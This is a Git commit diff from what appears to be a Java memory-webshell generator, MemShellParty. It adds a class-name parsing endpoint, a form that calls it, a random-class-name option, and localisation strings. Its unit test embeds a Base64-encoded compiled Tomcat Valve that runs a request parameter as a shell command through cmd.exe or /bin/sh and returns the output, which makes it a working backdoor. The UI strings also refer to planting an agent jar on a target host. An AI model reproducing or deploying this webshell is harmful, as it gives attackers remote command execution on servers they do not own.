mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-24 07:51:52 +08:00
feat: support parse custom shell className
This commit is contained in:
@@ -0,0 +1,24 @@
|
|||||||
|
package com.reajason.javaweb.boot.controller;
|
||||||
|
|
||||||
|
import org.springframework.asm.ClassReader;
|
||||||
|
import org.springframework.cglib.core.ClassNameReader;
|
||||||
|
import org.springframework.web.bind.annotation.CrossOrigin;
|
||||||
|
import org.springframework.web.bind.annotation.PostMapping;
|
||||||
|
import org.springframework.web.bind.annotation.RequestBody;
|
||||||
|
import org.springframework.web.bind.annotation.RestController;
|
||||||
|
|
||||||
|
import java.util.Base64;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/11/10
|
||||||
|
*/
|
||||||
|
@RestController
|
||||||
|
@CrossOrigin("*")
|
||||||
|
public class ClassNameParseController {
|
||||||
|
|
||||||
|
@PostMapping("/className")
|
||||||
|
public String className(@RequestBody String classBase64) {
|
||||||
|
return ClassNameReader.getClassName(new ClassReader(Base64.getDecoder().decode(classBase64)));
|
||||||
|
}
|
||||||
|
}
|
||||||
+18
@@ -0,0 +1,18 @@
|
|||||||
|
package com.reajason.javaweb.boot.controller;
|
||||||
|
|
||||||
|
import org.junit.jupiter.api.Test;
|
||||||
|
|
||||||
|
import static org.junit.jupiter.api.Assertions.*;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/11/10
|
||||||
|
*/
|
||||||
|
class ClassNameParseControllerTest {
|
||||||
|
@Test
|
||||||
|
void test(){
|
||||||
|
ClassNameParseController classNameParseController = new ClassNameParseController();
|
||||||
|
String className = classNameParseController.className("yv66vgAAADIAiAEALG9yZy9hcGFjaGUvaHR0cC93ZWIvaGFuZGxlcnMvSUZOdnAvQXV0aFZhbHZlBwABAQAQamF2YS9sYW5nL09iamVjdAcAAwEAGW9yZy9hcGFjaGUvY2F0YWxpbmEvVmFsdmUHAAUBAAlwYXJhbU5hbWUBABJMamF2YS9sYW5nL1N0cmluZzsBAAhndmR1amx2YwgACQEABG5leHQBABtMb3JnL2FwYWNoZS9jYXRhbGluYS9WYWx2ZTsBAAY8aW5pdD4BAAMoKVYMAA0ADgoABAAPAQAGaW52b2tlAQBSKExvcmcvYXBhY2hlL2NhdGFsaW5hL2Nvbm5lY3Rvci9SZXF1ZXN0O0xvcmcvYXBhY2hlL2NhdGFsaW5hL2Nvbm5lY3Rvci9SZXNwb25zZTspVgEAE2phdmEvaW8vSU9FeGNlcHRpb24HABMBAB5qYXZheC9zZXJ2bGV0L1NlcnZsZXRFeGNlcHRpb24HABUBABNqYXZhL2xhbmcvVGhyb3dhYmxlBwAXDAAHAAgJAAIAGQEAJW9yZy9hcGFjaGUvY2F0YWxpbmEvY29ubmVjdG9yL1JlcXVlc3QHABsBAAxnZXRQYXJhbWV0ZXIBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwwAHQAeCgAcAB8BAAhnZXRQYXJhbQwAIQAeCgACACIBAA5nZXRJbnB1dFN0cmVhbQEAKShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvaW8vSW5wdXRTdHJlYW07DAAkACUKAAIAJgEAJm9yZy9hcGFjaGUvY2F0YWxpbmEvY29ubmVjdG9yL1Jlc3BvbnNlBwAoAQAJZ2V0V3JpdGVyAQAXKClMamF2YS9pby9QcmludFdyaXRlcjsMACoAKwoAKQAsAQARamF2YS91dGlsL1NjYW5uZXIHAC4BABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYMAA0AMAoALwAxAQACXEEIADMBAAx1c2VEZWxpbWl0ZXIBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL3V0aWwvU2Nhbm5lcjsMADUANgoALwA3AQAUKClMamF2YS9sYW5nL1N0cmluZzsMAAsAOQoALwA6AQATamF2YS9pby9QcmludFdyaXRlcgcAPAEABXdyaXRlAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWDAA+AD8KAD0AQAEAD3ByaW50U3RhY2tUcmFjZQwAQgAOCgAYAEMBAAdnZXROZXh0AQAdKClMb3JnL2FwYWNoZS9jYXRhbGluYS9WYWx2ZTsMAEUARgoAAgBHDAARABILAAYASQEAE2phdmEvbGFuZy9FeGNlcHRpb24HAEsBABBqYXZhL2xhbmcvU3RyaW5nBwBNAQATamF2YS9pby9JbnB1dFN0cmVhbQcATwEAB29zLm5hbWUIAFEBABBqYXZhL2xhbmcvU3lzdGVtBwBTAQALZ2V0UHJvcGVydHkMAFUAHgoAVABWAQALdG9Mb3dlckNhc2UMAFgAOQoATgBZAQAGd2luZG93CABbAQAIY29udGFpbnMBABsoTGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7KVoMAF0AXgoATgBfAQAHY21kLmV4ZQgAYQEAAi9jCABjAQAHL2Jpbi9zaAgAZQEAAi1jCABnAQATW0xqYXZhL2xhbmcvU3RyaW5nOwcAaQEAGGphdmEvbGFuZy9Qcm9jZXNzQnVpbGRlcgcAawEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYMAA0AbQoAbABuAQATcmVkaXJlY3RFcnJvclN0cmVhbQEAHShaKUxqYXZhL2xhbmcvUHJvY2Vzc0J1aWxkZXI7DABwAHEKAGwAcgEABXN0YXJ0AQAVKClMamF2YS9sYW5nL1Byb2Nlc3M7DAB0AHUKAGwAdgEAEWphdmEvbGFuZy9Qcm9jZXNzBwB4AQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsMACQAegoAeQB7DAALAAwJAAIAfQEAB3NldE5leHQBAB4oTG9yZy9hcGFjaGUvY2F0YWxpbmEvVmFsdmU7KVYBABBpc0FzeW5jU3VwcG9ydGVkAQADKClaAQARYmFja2dyb3VuZFByb2Nlc3MBAA1Db25zdGFudFZhbHVlAQAEQ29kZQEADVN0YWNrTWFwVGFibGUBAApFeGNlcHRpb25zACEAAgAEAAEABgACAAgABwAIAAEAhAAAAAIACgAAAAsADAAAAAgAAQANAA4AAQCFAAAAEQABAAEAAAAFKrcAELEAAAAAAAEAEQASAAIAhQAAAGYABAAFAAAARCorsgAatgAgtwAjTi3GACMqLbcAJzoELLYALbsAL1kZBLcAMhI0tgA4tgA7tgBBsacACE4ttgBEKrYASCssuQBKAwCxAAEAAAAvADMAGAABAIYAAAAIAAMwQgcAGAQAhwAAAAYAAgAUABYAAgAhAB4AAQCFAAAADgABAAIAAAACK7AAAAAAAAIAJAAlAAIAhQAAAJMABAAEAAAAWipNK04AAacAA00SUrgAV7YAWhJctgBgmQAYBr0ATlkDEmJTWQQSZFNZBStTpwAVBr0ATlkDEmZTWQQSaFNZBStTTrsAbFkttwBvBLYAc7YAd7YAfE2nAAMssAAAAAEAhgAAACcABv0ABAcAAgcATv8ABAACBwACBwBOAAEHAFD8AAAHAFAkUQcAahYAhwAAAAQAAQBMAAEARQBGAAEAhQAAABEAAQABAAAABSq0AH6wAAAAAAABAH8AgAABAIUAAAASAAIAAgAAAAYqK7UAfrEAAAAAAAEAgQCCAAEAhQAAAA4AAQABAAAAAgOsAAAAAAABAIMADgABAIUAAAANAAAAAQAAAAGxAAAAAAAA");
|
||||||
|
assertEquals("org.apache.http.web.handlers.IFNvp.AuthValve", className);
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -36,9 +36,10 @@ public class MemShellGenerator {
|
|||||||
Class<?> shellClass = shellInjectorPair.getLeft();
|
Class<?> shellClass = shellInjectorPair.getLeft();
|
||||||
injectorClass = shellInjectorPair.getRight();
|
injectorClass = shellInjectorPair.getRight();
|
||||||
shellToolConfig.setShellClass(shellClass);
|
shellToolConfig.setShellClass(shellClass);
|
||||||
if (StringUtils.isBlank(shellToolConfig.getShellClassName())) {
|
}
|
||||||
shellToolConfig.setShellClassName(CommonUtil.generateShellClassName(serverName, shellConfig.getShellType()));
|
|
||||||
}
|
if (StringUtils.isBlank(shellToolConfig.getShellClassName())) {
|
||||||
|
shellToolConfig.setShellClassName(CommonUtil.generateShellClassName(serverName, shellConfig.getShellType()));
|
||||||
}
|
}
|
||||||
|
|
||||||
if (StringUtils.isBlank(injectorConfig.getInjectorClassName())) {
|
if (StringUtils.isBlank(injectorConfig.getInjectorClassName())) {
|
||||||
|
|||||||
@@ -1,42 +1,84 @@
|
|||||||
import { ChevronDown, ChevronUp, Settings } from "lucide-react";
|
import { Shuffle } from "lucide-react";
|
||||||
import { Fragment, useState } from "react";
|
import { Fragment, useEffect, useState } from "react";
|
||||||
import { FormProvider, type UseFormReturn } from "react-hook-form";
|
import { FormProvider, type UseFormReturn } from "react-hook-form";
|
||||||
import { useTranslation } from "react-i18next";
|
import { useTranslation } from "react-i18next";
|
||||||
import { Button } from "@/components/ui/button";
|
|
||||||
import {
|
import {
|
||||||
FormField,
|
FormField,
|
||||||
FormFieldItem,
|
FormFieldItem,
|
||||||
FormFieldLabel,
|
FormFieldLabel,
|
||||||
} from "@/components/ui/form.tsx";
|
} from "@/components/ui/form.tsx";
|
||||||
import { Input } from "@/components/ui/input.tsx";
|
import { Input } from "@/components/ui/input.tsx";
|
||||||
|
import { Switch } from "@/components/ui/switch.tsx";
|
||||||
import type { MemShellFormSchema } from "@/types/schema.ts";
|
import type { MemShellFormSchema } from "@/types/schema.ts";
|
||||||
|
|
||||||
export function OptionalClassFormField({
|
export function OptionalClassFormField({
|
||||||
form,
|
form,
|
||||||
}: Readonly<{ form: UseFormReturn<MemShellFormSchema> }>) {
|
}: Readonly<{ form: UseFormReturn<MemShellFormSchema> }>) {
|
||||||
const { t } = useTranslation(["memshell", "common"]);
|
const { t } = useTranslation(["memshell", "common"]);
|
||||||
const [showAdvanced, setShowAdvanced] = useState(false);
|
const initialShellClassName = form.getValues("shellClassName") ?? "";
|
||||||
|
const initialInjectorClassName = form.getValues("injectorClassName") ?? "";
|
||||||
|
const [useRandomClassName, setUseRandomClassName] = useState(
|
||||||
|
() =>
|
||||||
|
!(initialShellClassName?.trim() || initialInjectorClassName?.trim()),
|
||||||
|
);
|
||||||
|
const [savedShellClassName, setSavedShellClassName] = useState(
|
||||||
|
initialShellClassName,
|
||||||
|
);
|
||||||
|
const [savedInjectorClassName, setSavedInjectorClassName] = useState(
|
||||||
|
initialInjectorClassName,
|
||||||
|
);
|
||||||
|
const shellClassName = form.watch("shellClassName");
|
||||||
|
const injectorClassName = form.watch("injectorClassName");
|
||||||
|
|
||||||
|
useEffect(() => {
|
||||||
|
if (!useRandomClassName) {
|
||||||
|
setSavedShellClassName(shellClassName ?? "");
|
||||||
|
}
|
||||||
|
}, [shellClassName, useRandomClassName]);
|
||||||
|
|
||||||
|
useEffect(() => {
|
||||||
|
if (!useRandomClassName) {
|
||||||
|
setSavedInjectorClassName(injectorClassName ?? "");
|
||||||
|
}
|
||||||
|
}, [injectorClassName, useRandomClassName]);
|
||||||
|
|
||||||
|
useEffect(() => {
|
||||||
|
if (
|
||||||
|
useRandomClassName &&
|
||||||
|
(shellClassName?.trim() || injectorClassName?.trim())
|
||||||
|
) {
|
||||||
|
setUseRandomClassName(false);
|
||||||
|
}
|
||||||
|
}, [injectorClassName, shellClassName, useRandomClassName]);
|
||||||
|
|
||||||
|
const handleToggleRandomClass = (checked: boolean) => {
|
||||||
|
setUseRandomClassName(checked);
|
||||||
|
if (checked) {
|
||||||
|
setSavedShellClassName(form.getValues("shellClassName") ?? "");
|
||||||
|
setSavedInjectorClassName(form.getValues("injectorClassName") ?? "");
|
||||||
|
form.setValue("shellClassName", "");
|
||||||
|
form.setValue("injectorClassName", "");
|
||||||
|
} else {
|
||||||
|
form.setValue("shellClassName", savedShellClassName ?? "");
|
||||||
|
form.setValue("injectorClassName", savedInjectorClassName ?? "");
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
return (
|
return (
|
||||||
<Fragment>
|
<Fragment>
|
||||||
<div className="pt-2">
|
<div className="pt-2 flex items-center justify-between gap-3">
|
||||||
<Button
|
<div className="flex items-center gap-2 text-sm">
|
||||||
type="button"
|
<Shuffle className="h-4 w-4" />
|
||||||
variant="outline"
|
<span>{t("mainConfig.randomClassName")}</span>
|
||||||
size="sm"
|
</div>
|
||||||
onClick={() => setShowAdvanced(!showAdvanced)}
|
<Switch
|
||||||
className="flex items-center gap-2"
|
id="randomClassName"
|
||||||
>
|
checked={useRandomClassName}
|
||||||
<Settings className="h-4 w-4" />
|
onCheckedChange={handleToggleRandomClass}
|
||||||
{t("classNameOptions")}
|
/>
|
||||||
{showAdvanced ? (
|
|
||||||
<ChevronUp className="h-4 w-4" />
|
|
||||||
) : (
|
|
||||||
<ChevronDown className="h-4 w-4" />
|
|
||||||
)}
|
|
||||||
</Button>
|
|
||||||
</div>
|
</div>
|
||||||
{showAdvanced && (
|
<FormProvider {...form}>
|
||||||
<FormProvider {...form}>
|
{!useRandomClassName && (
|
||||||
<FormField
|
<FormField
|
||||||
control={form.control}
|
control={form.control}
|
||||||
name="shellClassName"
|
name="shellClassName"
|
||||||
@@ -53,6 +95,8 @@ export function OptionalClassFormField({
|
|||||||
</FormFieldItem>
|
</FormFieldItem>
|
||||||
)}
|
)}
|
||||||
/>
|
/>
|
||||||
|
)}
|
||||||
|
{!useRandomClassName && (
|
||||||
<FormField
|
<FormField
|
||||||
control={form.control}
|
control={form.control}
|
||||||
name="injectorClassName"
|
name="injectorClassName"
|
||||||
@@ -69,8 +113,8 @@ export function OptionalClassFormField({
|
|||||||
</FormFieldItem>
|
</FormFieldItem>
|
||||||
)}
|
)}
|
||||||
/>
|
/>
|
||||||
</FormProvider>
|
)}
|
||||||
)}
|
</FormProvider>
|
||||||
</Fragment>
|
</Fragment>
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,6 +1,7 @@
|
|||||||
import { useState } from "react";
|
import { useEffect, useRef, useState } from "react";
|
||||||
import { FormProvider, type UseFormReturn } from "react-hook-form";
|
import { FormProvider, type UseFormReturn } from "react-hook-form";
|
||||||
import { useTranslation } from "react-i18next";
|
import { useTranslation } from "react-i18next";
|
||||||
|
import { toast } from "sonner";
|
||||||
import { Card, CardContent } from "@/components/ui/card";
|
import { Card, CardContent } from "@/components/ui/card";
|
||||||
import {
|
import {
|
||||||
FormControl,
|
FormControl,
|
||||||
@@ -14,6 +15,7 @@ import { Label } from "@/components/ui/label";
|
|||||||
import { RadioGroup, RadioGroupItem } from "@/components/ui/radio-group";
|
import { RadioGroup, RadioGroupItem } from "@/components/ui/radio-group";
|
||||||
import { TabsContent } from "@/components/ui/tabs";
|
import { TabsContent } from "@/components/ui/tabs";
|
||||||
import { Textarea } from "@/components/ui/textarea";
|
import { Textarea } from "@/components/ui/textarea";
|
||||||
|
import { env } from "@/config.ts";
|
||||||
import type { MemShellFormSchema } from "@/types/schema";
|
import type { MemShellFormSchema } from "@/types/schema";
|
||||||
import { OptionalClassFormField } from "./classname-field";
|
import { OptionalClassFormField } from "./classname-field";
|
||||||
import { ShellTypeFormField } from "./shelltype-field";
|
import { ShellTypeFormField } from "./shelltype-field";
|
||||||
@@ -28,6 +30,65 @@ export default function CustomTabContent({
|
|||||||
}>) {
|
}>) {
|
||||||
const [isFile, setIsFile] = useState(false);
|
const [isFile, setIsFile] = useState(false);
|
||||||
const { t } = useTranslation(["memshell", "common"]);
|
const { t } = useTranslation(["memshell", "common"]);
|
||||||
|
const shellClassBase64 = form.watch("shellClassBase64");
|
||||||
|
const lastParsedBase64Ref = useRef<string | undefined>(undefined);
|
||||||
|
const classNameEndpoint = `${env.API_URL}/className`;
|
||||||
|
|
||||||
|
useEffect(() => {
|
||||||
|
if (!shellClassBase64) {
|
||||||
|
lastParsedBase64Ref.current = undefined as string | undefined;
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (shellClassBase64 === lastParsedBase64Ref.current) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
const controller = new AbortController();
|
||||||
|
const timer = setTimeout(() => {
|
||||||
|
const parseClassName = async () => {
|
||||||
|
try {
|
||||||
|
const response = await fetch(classNameEndpoint, {
|
||||||
|
method: "POST",
|
||||||
|
headers: {
|
||||||
|
"Content-Type": "text/plain",
|
||||||
|
},
|
||||||
|
body: shellClassBase64,
|
||||||
|
signal: controller.signal,
|
||||||
|
});
|
||||||
|
|
||||||
|
if (!response.ok) {
|
||||||
|
throw new Error(response.statusText);
|
||||||
|
}
|
||||||
|
|
||||||
|
const className = await response.text();
|
||||||
|
|
||||||
|
if (!className) {
|
||||||
|
throw new Error("EMPTY_CLASS_NAME");
|
||||||
|
}
|
||||||
|
|
||||||
|
lastParsedBase64Ref.current = shellClassBase64;
|
||||||
|
form.setValue("shellClassName", className, {
|
||||||
|
shouldDirty: true,
|
||||||
|
});
|
||||||
|
} catch (error) {
|
||||||
|
if ((error as Error)?.name === "AbortError") {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
toast.error(t("memshell:tips.classNameParseFailed"));
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
void parseClassName();
|
||||||
|
}, 400);
|
||||||
|
|
||||||
|
return () => {
|
||||||
|
clearTimeout(timer);
|
||||||
|
controller.abort();
|
||||||
|
};
|
||||||
|
}, [classNameEndpoint, form, shellClassBase64, t]);
|
||||||
|
|
||||||
return (
|
return (
|
||||||
<FormProvider {...form}>
|
<FormProvider {...form}>
|
||||||
<TabsContent value="Custom">
|
<TabsContent value="Custom">
|
||||||
|
|||||||
@@ -6,6 +6,7 @@
|
|||||||
"classNameOptions": "ClassNameOptions",
|
"classNameOptions": "ClassNameOptions",
|
||||||
"injectorClass": "InjectorClass",
|
"injectorClass": "InjectorClass",
|
||||||
"mainConfig.injectorClassName": "Injector ClassName",
|
"mainConfig.injectorClassName": "Injector ClassName",
|
||||||
|
"mainConfig.randomClassName": "Random Class Name",
|
||||||
"mainConfig.shellClassName": "Shell ClassName",
|
"mainConfig.shellClassName": "Shell ClassName",
|
||||||
"mainConfig.shellMountType": "Shell Mount Type",
|
"mainConfig.shellMountType": "Shell Mount Type",
|
||||||
"mainConfig.shellTool": "ShellTool",
|
"mainConfig.shellTool": "ShellTool",
|
||||||
@@ -36,6 +37,7 @@
|
|||||||
"shellToolConfig.neoreGeorgHeader": "Custom Header",
|
"shellToolConfig.neoreGeorgHeader": "Custom Header",
|
||||||
"shellToolConfig.neoreGeorgKey": "Connection Key",
|
"shellToolConfig.neoreGeorgKey": "Connection Key",
|
||||||
"shellToolConfig.suo5Header": "AdvanceConfiguration -> Request Header",
|
"shellToolConfig.suo5Header": "AdvanceConfiguration -> Request Header",
|
||||||
|
"tips.classNameParseFailed": "Failed to parse class name, please verify the Base64 data",
|
||||||
"tips.agent-move-to-target": "Move MemShellAgent.jar and jattach to target host",
|
"tips.agent-move-to-target": "Move MemShellAgent.jar and jattach to target host",
|
||||||
"tips.agent-move-to-target1": "Move MemShellAgent.jar to target host",
|
"tips.agent-move-to-target1": "Move MemShellAgent.jar to target host",
|
||||||
"tips.controllerUrlPattern": "ControllerHandler type requires a specific URL Pattern, e.g., /hello_controller",
|
"tips.controllerUrlPattern": "ControllerHandler type requires a specific URL Pattern, e.g., /hello_controller",
|
||||||
|
|||||||
@@ -7,6 +7,7 @@
|
|||||||
"shellClass": "内存马",
|
"shellClass": "内存马",
|
||||||
"classNameOptions": "类名配置项",
|
"classNameOptions": "类名配置项",
|
||||||
"mainConfig.injectorClassName": "注入器类名",
|
"mainConfig.injectorClassName": "注入器类名",
|
||||||
|
"mainConfig.randomClassName": "随机类名",
|
||||||
"mainConfig.shellClassName": "内存马类名",
|
"mainConfig.shellClassName": "内存马类名",
|
||||||
"mainConfig.shellMountType": "内存马挂载类型",
|
"mainConfig.shellMountType": "内存马挂载类型",
|
||||||
"mainConfig.shellTool": "内存马功能",
|
"mainConfig.shellTool": "内存马功能",
|
||||||
@@ -37,6 +38,7 @@
|
|||||||
"shellToolConfig.neoreGeorgKey": "连接密钥",
|
"shellToolConfig.neoreGeorgKey": "连接密钥",
|
||||||
"shellToolConfig.suo5Header": "高级配置 -> 请求头",
|
"shellToolConfig.suo5Header": "高级配置 -> 请求头",
|
||||||
"tips.agent-move-to-target": "将 MemShellAgent.jar 和 jattach 移到到目标服务磁盘上",
|
"tips.agent-move-to-target": "将 MemShellAgent.jar 和 jattach 移到到目标服务磁盘上",
|
||||||
|
"tips.classNameParseFailed": "无法解析类名,请检查 Base64 内容",
|
||||||
"tips.agent-move-to-target1": "将 MemShellAgent.jar 移到到目标服务磁盘上",
|
"tips.agent-move-to-target1": "将 MemShellAgent.jar 移到到目标服务磁盘上",
|
||||||
"tips.controllerUrlPattern": "ControllerHandler 类型的需要填写具体的 URL Pattern,例如 /hello_controller",
|
"tips.controllerUrlPattern": "ControllerHandler 类型的需要填写具体的 URL Pattern,例如 /hello_controller",
|
||||||
"tips.customShellClass": "请输入自定义内存马类,base64 或类文件",
|
"tips.customShellClass": "请输入自定义内存马类,base64 或类文件",
|
||||||
|
|||||||
Reference in New Issue
Block a user